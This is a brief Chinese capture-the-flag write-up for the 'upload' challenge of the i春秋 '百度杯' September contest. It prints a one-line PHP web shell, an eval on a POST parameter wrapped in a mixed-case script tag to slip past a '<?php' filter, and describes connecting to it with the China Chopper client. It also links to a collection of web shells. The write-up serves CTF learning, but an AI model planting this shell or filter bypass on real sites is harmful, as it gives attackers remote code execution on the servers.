您的位置: 首页 > 文章 > i春秋 | “百度杯”CTF比赛 九月场 | upload i春秋 | “百度杯”CTF比赛 九月场 | upload 分类: 文章 • 2024-06-17 10:52:10 upload题目 步骤 1、看看题目，人家多敞亮，想传啥文件就传啥，那我也不客气了，一句话走起 2、就知道不会这么善良 很明显他把我的’<?php’给过滤了 3、想办法绕过：<script language="pHp">@eval($_POST['a'])</script>之所以大写H是因为php被过滤掉了 4、确认上传成功，接下来连菜刀，找flag 福利 我在找资料的时候看见的一些木马，大家一起参考呀 https://www.uedbox.com/post/6051/
